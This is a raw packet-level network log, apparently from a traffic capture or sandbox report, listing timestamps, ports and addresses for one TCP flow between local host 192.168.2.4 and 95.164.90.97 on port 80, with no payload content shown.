Oct 8, 2024 02:45:23.297609091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.297629118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.297642946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.297653913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.297693968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.298353910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.298388958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.298415899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.298420906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.298438072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.298455000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.298470020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.298489094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.298506021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.298530102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.299237013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.299269915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.299293041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.299303055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.299312115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.299335957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.299354076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.299393892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.300142050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.300175905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.300198078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.300209045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.300218105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.300241947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.300255060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.300276041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.300288916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.300327063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.300806999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.300841093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.300858974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.300873995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.300884962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.300908089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.300924063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.300940990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.300956011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.300986052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.301687956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.301723003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.301742077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.301754951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.301767111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.301789999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.301805973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.301824093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.301837921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.301857948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.301871061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.301909924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.302531004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.302565098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.302584887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.302597046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.302612066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.302632093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.302649021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.302664995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.302680016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.302700043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.302712917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.302752018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.303421021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.303453922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.303481102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.303487062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.303503036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.303519964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.303534031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.303554058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.303569078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.303602934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.304297924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.304332018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.304352045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.304364920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.304375887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.304399014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.304413080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.304431915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.304447889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.304471016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.304490089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.304521084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.305135965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.305170059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.305187941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.305205107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.305216074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.305238962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.305257082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.305273056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.305283070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.305320024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.306212902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.306246996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.306269884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.306279898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.306288958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.306313992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.306328058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.306348085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.306364059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.306380987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.306394100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.306447983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.307512999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.307547092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.307571888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.307579041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.307611942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.307653904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.307653904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.307653904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.307662964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.307696104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.307712078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.307729006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.307753086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.307763100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.307775974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.307796955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.307828903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.307837009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.307857990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.307862043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.307878017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.307895899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.307909966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.307944059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.308824062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.308857918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.308878899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.308890104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.308907032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.308923960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.308938026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.308957100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.308974981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.308990955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.309006929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.309024096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.309036970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.309072018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.309478045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.309511900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.309539080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.309545994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.309561014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.309578896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.309591055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.309612989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.309628963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.309645891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.309659004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.309695959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.310348034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.310403109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.364270926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.364428043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.364461899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.364459038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.364552021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.364552021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.364569902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.364605904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.364624023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.364650965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.364875078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.364907980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.364928007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.364940882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.364953995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.364999056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.384727001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.384758949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.384792089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.384888887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.384888887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.384890079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.385006905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.385040045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.385056019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.385073900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.385088921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.385123014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.385416985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.385451078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.385471106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.385484934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.385497093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.385540009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.385927916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.385962009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.385981083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.385994911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.386007071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.386029959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.386045933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.386064053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.386076927 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.386097908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.386116982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.386145115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.386910915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.386945009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.386965036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.386976957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.386992931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.387011051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.387018919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.387043953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.387063980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.387077093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.387089968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.387110949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.387128115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.387151003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.387907982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.387942076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.387960911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.387974024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.387984037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.388006926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.388021946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.388041019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.388051033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.388075113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.388087988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.388108015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.388125896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.388149977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.388932943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.388967037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.388988018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.388999939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.389009953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.389034033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.389046907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.389067888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.389077902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.389102936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.389112949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.389153957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.389853001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.389888048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.389909029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.389920950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.389936924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.389955997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.389966965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.389987946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.390003920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.390022039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.390036106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.390055895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.390088081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.390089035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.390110016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.390132904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.390825033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.390858889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.390876055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.390893936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.390908003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.390927076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.390937090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.390959978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.390975952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.390994072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.391006947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.391041040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.391805887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.391839981 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.391860008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.391870975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.391889095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.391906023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.391913891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.391937971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.391957045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.391971111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.391983986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.392004967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.392023087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.392045975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.392597914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.392632008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.392663002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.392673016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.392695904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.392703056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.392703056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.392729044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.392735958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.392762899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.392777920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.392795086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.392808914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.392827988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.392848969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.392857075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.392869949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.392908096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.393501043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.393533945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.393562078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.393565893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.393599033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.393604994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.393604994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.393631935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.393663883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.393675089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.393675089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.393697023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.393702984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.393737078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.393749952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.393790007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.394454002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.394489050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.394507885 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.394524097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.394543886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.394556999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.394562960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.394589901 CEST	80	51293	95.164.90.97	192.168.2.4
